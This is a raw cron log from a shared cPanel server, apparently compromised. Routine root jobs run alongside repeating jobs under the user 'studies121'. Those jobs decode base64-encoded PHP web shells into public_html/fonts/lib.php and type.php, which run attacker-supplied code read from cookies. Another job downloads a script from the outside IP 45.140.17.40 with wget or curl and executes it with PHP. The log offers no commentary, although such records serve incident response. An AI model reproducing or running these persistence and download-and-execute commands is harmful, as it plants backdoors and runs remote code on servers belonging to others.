Aug 31 11:03:01 ip-184-168-122-23 CROND[17937]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 11:03:01 ip-184-168-122-23 CROND[17938]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:03:01 ip-184-168-122-23 CROND[17939]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 11:04:01 ip-184-168-122-23 CROND[18100]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:04:01 ip-184-168-122-23 CROND[18102]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 11:04:01 ip-184-168-122-23 CROND[18103]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 11:04:01 ip-184-168-122-23 CROND[18106]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:04:01 ip-184-168-122-23 CROND[18104]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 11:05:01 ip-184-168-122-23 CROND[18225]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 11:05:01 ip-184-168-122-23 CROND[18228]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:05:01 ip-184-168-122-23 CROND[18230]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 11:05:01 ip-184-168-122-23 CROND[18227]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 11:05:01 ip-184-168-122-23 CROND[18229]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:05:01 ip-184-168-122-23 CROND[18231]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 11:05:01 ip-184-168-122-23 CROND[18232]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 11:06:01 ip-184-168-122-23 CROND[18370]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 11:06:01 ip-184-168-122-23 CROND[18371]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:06:01 ip-184-168-122-23 CROND[18374]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 11:06:01 ip-184-168-122-23 CROND[18375]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 11:06:01 ip-184-168-122-23 CROND[18376]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:07:01 ip-184-168-122-23 CROND[18513]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 11:07:01 ip-184-168-122-23 CROND[18514]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 11:07:01 ip-184-168-122-23 CROND[18517]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:07:01 ip-184-168-122-23 CROND[18518]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:08:02 ip-184-168-122-23 CROND[18643]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 11:08:02 ip-184-168-122-23 CROND[18646]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:08:02 ip-184-168-122-23 CROND[18645]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 11:08:02 ip-184-168-122-23 CROND[18648]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:08:02 ip-184-168-122-23 CROND[18647]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 11:09:01 ip-184-168-122-23 CROND[18878]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 11:09:01 ip-184-168-122-23 CROND[18879]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 11:09:01 ip-184-168-122-23 CROND[18883]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Aug 31 11:09:01 ip-184-168-122-23 CROND[18880]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:09:01 ip-184-168-122-23 CROND[18884]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:10:01 ip-184-168-122-23 CROND[19030]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 11:10:01 ip-184-168-122-23 CROND[19032]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 11:10:01 ip-184-168-122-23 CROND[19029]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:10:01 ip-184-168-122-23 CROND[19031]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 11:10:01 ip-184-168-122-23 CROND[19037]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:10:01 ip-184-168-122-23 CROND[19038]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 11:10:01 ip-184-168-122-23 CROND[19034]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 11:10:01 ip-184-168-122-23 CROND[19042]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 11:11:01 ip-184-168-122-23 CROND[19126]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:11:01 ip-184-168-122-23 CROND[19127]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 11:11:01 ip-184-168-122-23 CROND[19129]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:11:01 ip-184-168-122-23 CROND[19128]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 11:12:01 ip-184-168-122-23 CROND[19238]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:12:02 ip-184-168-122-23 CROND[19239]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:12:02 ip-184-168-122-23 CROND[19240]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 11:12:02 ip-184-168-122-23 CROND[19241]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 11:12:02 ip-184-168-122-23 CROND[19242]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 11:13:01 ip-184-168-122-23 CROND[19336]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:13:01 ip-184-168-122-23 CROND[19339]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 11:13:01 ip-184-168-122-23 CROND[19340]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 11:13:01 ip-184-168-122-23 CROND[19341]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:14:01 ip-184-168-122-23 CROND[19447]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 11:14:01 ip-184-168-122-23 CROND[19449]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 11:14:01 ip-184-168-122-23 CROND[19450]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:14:01 ip-184-168-122-23 CROND[19448]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 11:14:01 ip-184-168-122-23 CROND[19452]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 11:15:02 ip-184-168-122-23 CROND[19563]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 11:15:02 ip-184-168-122-23 CROND[19565]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 11:15:02 ip-184-168-122-23 CROND[19567]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
